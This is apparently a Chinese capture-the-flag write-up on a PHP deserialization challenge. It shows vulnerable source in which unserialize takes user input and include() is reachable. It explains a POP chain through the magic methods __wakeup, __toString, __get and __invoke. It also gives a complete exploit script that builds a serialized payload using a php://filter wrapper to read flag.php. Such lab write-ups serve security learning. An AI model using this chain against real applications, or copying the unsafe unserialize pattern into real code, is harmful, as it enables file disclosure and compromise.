我们来看题目源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| Welcome to index.php <?php
class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); } }
class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } }
class Test{ public $p; public function __construct(){ $this->p = array(); }
public function __get($key){ $function = $this->p; return $function(); } }
if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
|
我们看到append后面是文件包含,include了value变量,说明我们最后要将其赋值为flag.php
在modifier类中有__invoke()函数
所以我们要初始化一个类,当作函数调用。
我们看到Test类中
确实被当作函数调用,我们只需要将p设置成类即可,然后让__get()函数触发
这回看到show类中,__toString()函数
然而不能把类属性字符串化,
这样就触发了__get()函数。
__wakeup()函数
对Show类反序列化,触发wakeup(判断条件没啥用),赋值类给source,将类赋值给str,触发__toString(),从而触发get函数,然后触发invoke函数,得到flag.php.
我们来看wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php class Modifier { protected $var = "php://filter/read=convert.base64-encode/resource=flag.php"; } class Show { public $source; public $str; } class Test { public $p; } $a = new Show(); $b = new Show(); $a -> source = $b; $b -> str = new Test(); ($b -> str) -> p=new Modifier(); echo urlencode(serialize($a)); ?>
|
所以根据源码,它会先反序列化,然后进行我们的一连串魔术方法,最后包含flag.php